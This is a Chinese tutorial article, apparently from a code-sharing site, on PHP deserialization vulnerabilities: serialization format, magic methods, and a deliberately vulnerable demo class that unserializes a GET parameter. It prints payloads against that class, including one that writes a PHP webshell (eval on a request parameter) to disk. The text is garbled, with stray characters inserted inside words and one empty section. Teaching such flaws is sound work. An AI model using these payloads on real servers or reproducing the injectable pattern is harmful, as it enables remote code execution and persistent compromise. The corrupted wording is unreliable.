詳解PHP反序列化漏洞的原理及示例
PHP反序列化
序列化與反序列化
序列化說(shuō)通俗點(diǎn)就是把一個(gè)對(duì)象變成可以傳輸?shù)淖址?。序列化過(guò)程中還會(huì)對(duì)不同屬性的變量進(jìn)行不同方式的變化
public的屬性在序列化時(shí),直接顯示屬性名
protected的屬性在序列化時(shí),會(huì)在屬性名前增加0x00*0x00,其長(zhǎng)度會(huì)增加3
private的屬性在序列化時(shí),會(huì)在屬性名前增加0x00classname0x00,其長(zhǎng)度會(huì)增加類名長(zhǎng)度+2
反序列化就是把被序列化的字符串還原為對(duì)象,然后在接下來(lái)的代碼中繼續(xù)使用。
PHP魔法函數(shù)
- __construct() #類的構(gòu)造函數(shù)
- __destruct() #類的析構(gòu)函數(shù),在對(duì)象被銷毀時(shí)執(zhí)行該函數(shù)
- __call() #在對(duì)象中調(diào)用一個(gè)不可訪問(wèn)方法時(shí)調(diào)用
- __callStatic() #用靜態(tài)方式中調(diào)用一個(gè)不可訪問(wèn)方法時(shí)調(diào)用
- __get() #獲得一個(gè)類的成員變量時(shí)調(diào)用
- __set() #設(shè)置一個(gè)類的成員變量時(shí)調(diào)用
- __isset() #當(dāng)對(duì)不可訪問(wèn)屬性調(diào)用isset()或empty()時(shí)調(diào)用
- __unset() #當(dāng)對(duì)不可訪問(wèn)屬性調(diào)用unset()時(shí)被調(diào)用。
- __sleep() #執(zhí)行serialize()時(shí),先會(huì)調(diào)用這個(gè)函數(shù)
- __wakeup() #執(zhí)行unserialize()時(shí),先會(huì)調(diào)用這個(gè)函數(shù)
- __toString() #類被當(dāng)成字符串時(shí)的回應(yīng)方法
- __invoke() #調(diào)用函數(shù)的方式調(diào)用一個(gè)對(duì)象時(shí)的回應(yīng)方法
- __set_state() #調(diào)用var_export()導(dǎo)出類時(shí),此靜態(tài)方法會(huì)被調(diào)用。
- __clone() #當(dāng)對(duì)象復(fù)制完成時(shí)調(diào)用
- __autoload() #嘗試加載未定義的類
- __debugInfo() #打印所需調(diào)試信息
序列化結(jié)構(gòu)
反序列化漏洞
簡(jiǎn)介
PHP反序列化漏洞也叫PHP對(duì)象注入,是一個(gè)非常常見(jiàn)的漏洞,這種類型的漏洞雖然有些難以利用,但一旦利用成功就會(huì)造成非常危險(xiǎn)的后果。漏洞的形成的根本原因是程序沒(méi)有對(duì)用戶輸入的反序列化字符串進(jìn)行檢測(cè),導(dǎo)致反序列化過(guò)程可以被惡意控制,進(jìn)而造成代碼執(zhí)行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等語(yǔ)言之中,但其原理基本相通。
原理
未對(duì)用戶輸入的序列化字符串進(jìn)行檢測(cè),導(dǎo)致攻擊者可以控制反序列化過(guò)程,從而導(dǎo)致代碼執(zhí)行,SQL注入,目錄遍歷等不可控后果。
在反序列化的過(guò)程中自動(dòng)觸發(fā)了某些魔術(shù)方法。
觸發(fā)條件
unserialize函數(shù)的變量可控,php文件中存在可利用的類,類中有魔法函數(shù)
示例
<?php class demo{ public $name; public $age; function __destruct(){ $a = $this->name; $a($this->age); } } $h = new demo(); echo serialize($h); unserialize($_GET['h']); ?>
payload
payload:(適用于destruct() wakeup()) O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";} 傳木馬 O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST["cmd"]);?>');";}
我們可以看到當(dāng),創(chuàng)建對(duì)象之后,沒(méi)有調(diào)用該__destruct()函數(shù),該函數(shù)也自動(dòng)執(zhí)行,也就是serialize()函數(shù)和unserialize()函數(shù)銷毀了對(duì)象,觸發(fā)了魔法函數(shù)的執(zhí)行。
大致過(guò)程:
到此這篇關(guān)于詳解PHP反序列化漏洞的原理及示例的文章就介紹到這了,更多相關(guān)PHP反序列化漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
PhpStorm+xdebug+postman調(diào)試技巧分享
寫(xiě)PHP時(shí),一直用postman做測(cè)試,最近發(fā)現(xiàn)在測(cè)試過(guò)程中可以用xdebug來(lái)斷點(diǎn)調(diào)試,比原來(lái)手動(dòng)打exit或者die來(lái)斷點(diǎn)效率高多了2020-09-09PHP+Ajax 檢測(cè)網(wǎng)絡(luò)是否正常實(shí)例詳解
這篇文章主要介紹了PHP+Ajax 檢測(cè)網(wǎng)絡(luò)是否正常實(shí)例詳解的相關(guān)資料,這里附有實(shí)例代碼,需要的朋友可以參考下2016-12-12php實(shí)現(xiàn)圖片轉(zhuǎn)換成ASCII碼的方法
這篇文章主要介紹了php實(shí)現(xiàn)圖片轉(zhuǎn)換成ASCII碼的方法,涉及php操作圖片的技巧,需要的朋友可以參考下2015-04-04php集成安裝包wampserver修改密碼后phpmyadmin無(wú)法登陸的解決方法
這篇文章主要介紹了php集成安裝包wampserver修改密碼后phpmyadmin無(wú)法登陸的解決方法,綜合分析了wampserver安裝過(guò)程中經(jīng)常遇到的問(wèn)題,并詳細(xì)分析了phpmyadmin在修改mysql密碼后無(wú)法訪問(wèn)的解決方法,需要的朋友可以參考下2016-11-11PHP利用緩存處理用戶注冊(cè)時(shí)的郵箱驗(yàn)證,成功后用戶數(shù)據(jù)存入數(shù)據(jù)庫(kù)操作示例
這篇文章主要介紹了PHP利用緩存處理用戶注冊(cè)時(shí)的郵箱驗(yàn)證,成功后用戶數(shù)據(jù)存入數(shù)據(jù)庫(kù)操作,涉及PHP操作Memcache緩存驗(yàn)證登錄與數(shù)據(jù)庫(kù)寫(xiě)入相關(guān)實(shí)現(xiàn)技巧,需要的朋友可以參考下2019-12-12Linux Apache PHP Oracle 安裝配置(具體操作步驟)
本篇文章是對(duì)在Linux下安裝Apache+PHP連接Oracle的具體操作步驟進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下2013-06-06PHP常用字符串操作函數(shù)實(shí)例總結(jié)(trim、nl2br、addcslashes、uudecode、md5等)
這篇文章主要介紹了PHP常用字符串操作函數(shù),結(jié)合實(shí)例形式總結(jié)分析了PHP針對(duì)字符串操作的常用技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2016-01-01zend framework配置操作數(shù)據(jù)庫(kù)實(shí)例分析
zend framework項(xiàng)目建立后,看了下zend framework配置操作數(shù)據(jù)庫(kù),本文將詳細(xì)介紹,需要了解的朋友可以參考下2012-12-12PHP設(shè)計(jì)模式之工廠模式(Factory Pattern)的講解
今天小編就為大家分享一篇關(guān)于PHP設(shè)計(jì)模式之工廠模式(Factory Pattern)的講解,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧2019-03-03